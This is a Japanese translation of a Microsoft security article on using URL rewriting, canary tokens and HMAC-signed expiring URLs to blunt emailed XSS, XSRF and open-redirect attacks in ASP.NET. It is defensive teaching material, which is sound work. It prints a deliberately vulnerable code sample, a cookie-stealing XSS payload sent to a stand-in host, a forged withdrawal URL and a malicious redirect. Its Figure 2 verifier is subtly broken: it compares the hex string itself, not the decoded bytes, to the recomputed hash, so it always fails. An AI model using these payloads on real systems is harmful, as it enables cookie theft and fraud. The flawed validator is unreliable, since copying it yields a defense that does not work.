次の方法で共有


セキュリティに関するブリーフィング

URL リライトでサイトを保護する

Bryan Sullivan

目次

問題を確認する
考えられる解決策: パーソナライズされた Resource Locator
より優れた解決策: カナリア URL
ステートレスな方法: 自動的に有効期限が切れる URL
最後の手順
いくつかの注意事項

"クールな URI は変わらない" という Tim Berners-Lee の有名な言葉があります。彼が言いたかったのは、ハイパーリンクが切断されていたのではユーザーはアプリケーションを信頼しなくなるので、URI は 200 年以上も変わらず残るように設計する必要がある、ということです。彼の指摘は理解できますが、あえて推測するなら、彼がこれを言ったときには、ハイパーリンクが、罪のないユーザーをハッカーが攻撃するための手段になるとは予想していなかったのではないでしょうか。

クロスサイト スクリプティング (XSS)、クロスサイト リクエスト偽造 (XSRF)、オープン リダイレクト フィッシングなどの攻撃は、いつも決まって、電子メール メッセージで送信される悪意のあるハイパーリンクを通して伝達されます。これらの攻撃に詳しくない場合は、Open Web Application Security Project (OWASP) Web を読むことをお勧めします。このような脆弱性のリスクの多くは、URL を頻繁に変更することで軽減できます。200 年に一度ではなく、10 分ごとに変更するのです。メッセージが標的に届くころにはリンクが切れて無効になっているので、電子メールで有害なハイパーリンクを大量に送信することでアプリケーションの脆弱性を悪用することはできなくなります。Tim に敬意を払いつつ、"クール" な URI は変わらないかもしれませんが、安全な URI は変わる必要があるのです。

問題を確認する

解決策を詳しく解説する前に、問題をよく見ておきましょう。ここに、XSS 攻撃に対して脆弱な ASP.NET コードの非常に簡単な例があります。

protected void Page_Load(object sender, EventArgs e)
{
    // DO NOT USE - this is vulnerable code
    Response.Write("Welcome back, " + Request["username"]);
}

このコードが脆弱なのは、要求からのユーザー名パラメータをページで検証もエンコードも行わずに応答に書き戻しているためです。攻撃者は、次のようにユーザー名パラメータにスクリプトが注入された URL を細工することで、この脆弱性を簡単に悪用できます。

page.aspx?username=<script>document.location=   'https://contoso.com/'+document.cookie;</script>

後は、リンクをクリックするように標的を説得するだけです。マス電子メールはこれを実行する効果的な方法です。特に、多少のソーシャル エンジニアリングを適用すると効果を発揮します (たとえば、"ここをクリックして無料で Xbox 360 を手に入れよう!")。同じような有害な URL を作成して電子メールで送信し、XSRF の脆弱性を悪用することもできます。

checking.aspx?action=withdraw&amount=1000&destination=badguy
   and open-redirect vulnerabilities:
  page.aspx?redirect=http://evil.contoso.com

オープン リダイレクト脆弱性は XSS や XSRF ほど有名ではありません。この脆弱性は、アプリケーションでユーザーが任意のリダイレクト URL を要求に指定できる場合に発生します。これがフィッシング攻撃に利用されると、ユーザーは自分が無害な good.adatum.com へのリンクをクリックしていると信じているのに、実際は有害な evil.contoso.com にリダイレクトされることになります。

考えられる解決策: パーソナライズされた Resource Locator

この問題に対して考えられる解決策の 1 つは、アプリケーションで URL をユーザーごとに (できればユーザー セッションごとに) パーソナライズして書き換えることです。たとえば、アプリケーションで contoso.com/page.aspx という URL を contoso.com/{GUID}/page.aspx と書き換えることができます。{GUID} はユーザー セッションごとにランダムで一意の値です。GUID が取り得る値の数が 2 128 であることを考えると、攻撃者が有効な値を推測できる可能性はほとんどないので、有効な (そして有害化された) URL を作って電子メールで送りつけることは、まずできません。

ASP.NET には既に、Cookie を使用しないセッション処理機能の一部として、似た機能が組み込まれています。HTTP Cookie を受け取ることができない、または受け取らないユーザーがいるので、代わりにユーザーのセッション ID を URL に格納するように ASP.NET を構成できます。この機能は web.config ファイルに対する簡単な変更によって有効にできます。

<sessionState cookieless="true" />

ところが、さらに詳しく調べた結果、この方法では、ここで検討している XSS などのセキュリティの脆弱性がいずれも実際には軽減されないことがわかりました。攻撃者は有効なセッション GUID を推測できないかもしれませんが、実際は推測する必要がないのです。攻撃者は、自分のセッションを開始して有効なセッション ID を入手した後、URL を電子メールで送信してそのセッションを使用するように標的を誘導すればよいのです。

別のユーザーがそのセッションを使用することになりますが、攻撃者もそのセッションを同時に使用して標的の個人データを盗むことができます。アプリケーションには、2 人の異なる人物が同じセッションを使用していることを特定する確実な手段はありません。確かに着信 IP アドレスを確認することはできますが、1 人のユーザーの IP アドレスが要求ごとに合法的に変化することや、複数のユーザーが同じ IP アドレスを共有することはよくあります。この攻撃はセッション固定攻撃と呼ばれ、Cookie を使用しないセッション管理の使用が一般に推奨されない理由の 1 つです。

より優れた解決策: カナリア URL

小さな変更を 1 つ行うことで、パーソナライズされた URL の方法の有効性を大きく向上させることができます。URL を使用してセッション ID を格納する代わりに、セッション ID を通常どおり Cookie に格納し、URL を使用してクライアントとサーバーの間で共有されるシークレットを格納します。そして、URL リライト コードを、セッションごとの一意のランダムな値をセッション状態と URL の一部の両方に格納するように変更します。

// create the shared secret
Guid secret = Guid.NewGuid();
Session["secret"] = secret;
// rewrite the URL to include the secret value
...

実際に URL を書き換えて、着信した値を解析するために必要なコードについては、この記事で取り扱う範囲を超えているので触れません。この目的には ASP.NET MVC を使用できます。また、Scott Guthrie も ASP.NET URL の書き換え技法についてのブログを書いています。

要求があると、URL に格納されている GUID の値とセッション状態に格納されている値とを比較します。一致しない場合、または GUID が URL に含まれない場合は、要求は悪意あるものと見なされてブロックされ、送信元の IP アドレスはログに記録されます。この共有シークレット防御 (カナリア防御とも呼ばれます) は長い間 XSRF 攻撃を防ぐための推奨される方法でしたが、ご覧のとおり、電子メール伝達ベクトルを断つことでリフレクト XSS の脆弱性の軽減にも非常に有効です。

この方法は XSS に対する完全な解決策ではないことに注意してください。入力を検証し、出力をエンコードして問題の原因に対処することが、XSS を防止する最良の方法ですが、追加の保護層としてカナリアを適用できます。

ステートレスな方法: 自動的に有効期限が切れる URL

カナリア URL 手法は安全で優れた方法ですが、1 つ弱点があります。それはサーバー側のセッション状態に依存することです。Web サービスや REST アプリケーションのようなステートレスのアプリケーションを使用している場合、カナリア値を格納するためだけにセッション状態を有効にすることは避けたいでしょう。

このような場合は、自動的に有効期限が切れる URL を実装することで、サーバー側のセッション状態を維持しなくても、総合的な目的 (攻撃者が電子メールで送ってくる有害なハイパーリンクからの防御) を達成できます。要求されてから短時間 (10 分くらい) で有効期限が切れる URL は、攻撃者がその URL を攻撃できる可能性のある標的に電子メールで送信する確率を大幅に低下させ、一方で正当なユーザーにはリソースを使用する十分な時間をもたらします。

URL に有効期限を設定する 1 つの方法は、次に示すように URL を書き換えて現在のタイム スタンプを加えることです。

https://www.contoso.com/{timestamp}/page.aspx

ユーザーがリソースを要求するたびに、着信した URL のタイム スタンプを調べて、10 分 (またはそれ以外の指定した時間しきい値) 以上経過しているかどうかを確認します。超えている場合は要求を拒否します。もう 1 つの方法は、適切な有効期限を URL に書き込み、それを現在の時刻と比較して調べるというものです。ただし、どちらの方法もこのままでは十分ではありません。攻撃者は将来の時点で有効な URL を簡単に偽造できる可能性があります。

https://www.contoso.com/{current timestamp + one hour}/page.aspx

URL を使用して最初の要求のタイム スタンプではなく有効期限のタイム スタンプを保持すると、問題がさらに悪化します。なぜなら、攻撃者は現在より後のいつの時点でも指定でき、防御を完全に破ることができるためです。

https://www.contoso.com/{current timestamp + ten years}/page.aspx

この問題を解決するには、さらにタイム スタンプのキー付きハッシュをキー付きハッシュ メッセージ認証コード (HMAC) として URL に含めて、攻撃者がタイム スタンプを改ざんするのを防ぎます。ハッシュにキーを付けることが重要です。これを行わないと、攻撃者はやはり未来のタイム スタンプを指定し、そのハッシュ値を計算して防御を破ります。秘密キーでハッシュにキーを付けると、このようなことはできなくなります。

MD5 はよく使用されるハッシュ アルゴリズムですが、もはや安全とはいえません。暗号技術の研究者が衝突を発生させてアルゴリズムを破る方法を実演しています。もっと良い選択肢は SHA-256 などの SHA-2 (Secure Hash Algorithm) 関数のいずれかで、現時点では成功した攻撃はありません。SHA-256 は、Microsoft .NET Framework のクラス System.Security.Cryptography.SHA256Cng、SHA256CryptoServiceProvider、SHA256Managed、および HMACSHA256 で実装されています。

どれでも機能しますが、HMACSHA256 クラスは秘密キー値を適用する組み込み機能を備えているので、最善の選択肢です。

HMACSHA256 hmac = new HMACSHA256(); // use a random key value

既定の HMACSHA256 コンストラクタを使用するとランダムなキー値がハッシュに適用され、セキュリティには十分ですが、HMACSHA256 オブジェクトごとにキーが異なるのでサーバー ファーム環境では動作しません。アプリケーションをファームに展開する場合は、コンストラクタで明示的にキーを指定し、ファーム内のすべてのサーバーで統一する必要があります。

次の手順では、タイム スタンプとキー付きハッシュを URL に書き込みます。実装の詳細として、HMACSHA256.ComputeHash メソッドの出力はバイト配列ですが、発信 URL に書き込むので、この値を URL で有効な文字列に変換する必要があります。この変換は想像するより複雑です。Base64 は任意のバイナリ データを文字列テキストに変換するのによく使用されますが、base64 には等号 (=) やスラッシュ (/) などの文字が含まれており、URL にエンコードされていても、ASP.NET で解析の問題が発生します。代わりに、図 1 に示すように、一度に 1 バイトずつバイナリ データを 16 進文字列に変換する必要があります。

図 1 キー付きタイム スタンプの生成

private static string convertToHex(byte[] data)
{
    System.Text.StringBuilder sb = new System.Text.StringBuilder(data.Length);
    foreach (byte b in data)
        sb.AppendFormat("{0:X2}", (int)b);

    return sb.ToString();
}

private string generateKeyedTimestamp()
{
    long outgoingTicks = DateTime.Now.Ticks;

    // get a SHA2 hash value of the timestamp
    byte[] timestampHash = 
        this.hmac.ComputeHash(System.BitConverter.GetBytes(outgoingTicks));

    // return the current timestamp with the keyed hash value
    return outgoingTicks.ToString() + "-" + convertToHex(timestampHash);
}

最後に、着信したタイム スタンプのハッシュを再計算し、着信したハッシュと一致することを確認して、タイム スタンプを検証する必要があります。図 2 に、そのコードを示します。

図 2 着信したタイム スタンプの検証

private static byte[] convertFromHex(string data)
{
    // we know that the hex string must have an even number of digits
    if ((data.Length % 2) != 0)    
        throw new ArgumentException();
    byte[] dataHex = new byte[data.Length / 2];
    for (int i = 0; i < data.Length; i = i + 2)
    {
        string hexByte = data.Substring(i, 2);
        dataHex[i / 2] = (byte)Convert.ToByte(hexByte, 16);
    }

    return dataHex;
}

private bool verifyKeyedTimestamp(long incomingTicks, string incomingHmac)
{
    if (String.IsNullOrEmpty(incomingHmac))
        return false;

    byte[] incomingHmacBytes = convertFromHex(incomingHmac);

    // recompute the hash and verify that it matches the passed-in value
    byte[] recomputedHmac = 
        this.hmac.ComputeHash(BitConverter.GetBytes(incomingTicks));

    // perform byte-by-byte comparison on the arrays
    if (incomingHmac.Length != recomputedHmac.Length)
        return false;
    for (int i = 0; i < incomingHmac.Length; i++)
    {
        if (incomingHmac[i] != recomputedHmac[i])
            return false;
    }

    return true;
}

最後の手順

最後の手順として、カナリア手法または自動有効期限切れ手法のどちらを使用している場合でも、アプリケーション内の 1 つ以上のページを、特別な URL トークンなしでアクセスできる "ランディング ページ" として指定する必要があります。これを行わないと、最初の有効な要求を行う方法がなくなるため、だれもアプリケーションを使用できなくなります。

ランディング ページを指定する方法はいくつもあり、リライト モジュール コードにハード コーディングする方法 (まったくお勧めできません) から、web.config ファイルで指定する方法 (より良い方法です) までありますが、私が好きなのはカスタム属性を使用する方法です。カスタム属性を使用すると、記述する必要のあるコードの量が減り、継承にも対応できます。LandingPage クラスを定義し、カスタム属性をそのクラスに適用すると、LandingPage から派生するページもすべてランディング ページになります。

最初に、LandingPageAttribute という名前の新しいカスタム属性クラスを定義します。このクラスは実際にはメソッドまたはプロパティを含む必要はありません。この属性でページをマークすることができ、ページがマークされているかどうかをプログラムで判定できることだけが必要です。

public class LandingPageAttribute : Attribute
{
}

そして、次のように、ランディング ページとして使用するページを LandingPage 属性でマークします。

[LandingPage()]
public partial class HomePage : System.Web.UI.Page 

最後に、URL 検証コードで、要求されたハンドラがカスタム属性を持っているかどうかを検査します。URL リライト コードを HttpModule として実装している場合は、図 3 のコードを使用して検査を実行できます。

図 3 カスタム LandingPageAttribute の検査

public class RewriteModule : IHttpModule
{
    public void Init(HttpApplication context)
    {
        context.PostMapRequestHandler += new 
            EventHandler(context_PostMapRequestHandler);
    }

    void context_PostMapRequestHandler(object sender, EventArgs e)
    {
        HttpApplication application = sender as HttpApplication;
        if ((application == null) || (application.Context == null))
            return;

        // get the current request handler
        IHttpHandler httpHandler = application.Context.CurrentHandler;
        if (httpHandler == null)
            return;

        // reflect into the handler type to look for a LandingPageAttribute
        Type handlerType = httpHandler.GetType();
        object[] landingPageAttributes =
            handlerType.GetCustomAttributes(typeof(LandingPageAttribute),
                true);

        // allow access if we found any
        bool allowAccess = (landingPageAttributes.Length > 0);
        ...
    }
}

LandingPage 属性は注意して使用する必要があります。リライトの防御がランディング ページには無効なだけでなく (攻撃者は URL トークンを削除するだけであるため)、単一のランディング ページの 1 つの XSS 脆弱性がドメインのすべてのページを危険にさらす可能性があります。攻撃者は、一連の XMLHttpRequest 呼び出しをクライアント側スクリプトに注入し、有効なカナリアまたはタイム スタンプをプログラムで判定して、それに従って攻撃をリダイレクトします。

可能であれば、アプリケーションの単一のランディング ページを決定し、そのページではすべての querystring パラメータを除去した後すぐに URL リライト ページにリダイレクトします。次に例を示します。

https://www.contoso.com/landingpage.aspx?a=b&c=d

これは自動的に次へリダイレクトします。

https://www.contoso.com/(token)/otherpage.aspx

いくつかの注意事項

当然のことながら、URL リライトがすべてのアプリケーションに適しているわけではありません。この方法の 1 つの欠点は、攻撃者が有害なハイパーリンクを電子メールで送信できなくなる一方、正当なユーザーも同様に有効なリンクを送信できなくなったり、アプリケーション内のページにブックマークを設定することさえできなくなることです。ランディング ページとしてマークされているページにはブックマークを設定できますが、前に述べたように、ランディング ページを使用するときは十分に注意する必要があります。したがって、アプリケーションのユーザーがホーム ページ以外のページにブックマークを設定することが予想される場合は、URL リライトはあまり良い解決策ではありません。

さらに、URL リライトは高速で簡単な多層防御メカニズムですが、まさにそのとおりのものです。つまり多層防御です。決して XSS や他の攻撃に対する完全無欠な方法ではありません。自動的に有効期限が切れる URL は、攻撃者が自分自身の Web サーバーにアクセスすることでやはり悪用される可能性があります。脆弱なページを直接指し示す有害なハイパーリンクを送信する代わりに、攻撃者は自分自身のサイトを指し示すハイパーリンクを送信できます。攻撃者のサイトがフィッシングされた電子メールのいずれかからヒットされると、脆弱なサイトのランディング ページにアクセスし、有効なタイム スタンプを取得して、それに従ってユーザーをリダイレクトできます。

URL リライトは攻撃者の仕事をいっそう困難にします。攻撃者はユーザーに信頼できる Web サイト (www.msn.com) ではなく自分の Web サイト (evil.contoso.com) へのハイパーリンクに従うことが正しいと思わせる必要があり、法執行機関が攻撃者までたどれるような非常に明確な痕跡を残すことにもなります。ただし、これはフィッシング電子メールにつられて結果として個人情報を盗まれてしまった被害者には、おそらくほとんど慰めにならないでしょう。URL リライトを追加の防御手段として使用してください。ただし、常に問題の根本にある脆弱性に対処することを忘れないでください。

最後に、この記事で解説した技法をマイクロソフトの正式な開発ガイダンスと考えないように注意してください。自由に使用していただいてかまいませんが、Secure Development Lifecycle (SDL) の要件とは考えないでください。現在この分野の研究を継続的に実施しているので、ぜひフィードバックをお送りください。コメントは SDL ブログ (blogs.msdn.com/sdl) まで遠慮なくお送りください。

ご意見やご質問は、briefs@microsoft.com まで英語でお送りください。

Bryan Sullivan は、マイクロソフトのセキュリティ開発ライフサイクル チームのセキュリティ プログラム マネージャであり、Web アプリケーションのセキュリティ問題を専門に扱っています。最初の著作である『Ajax Security』は、2007 年 12 月に Addison-Wesley から出版されました。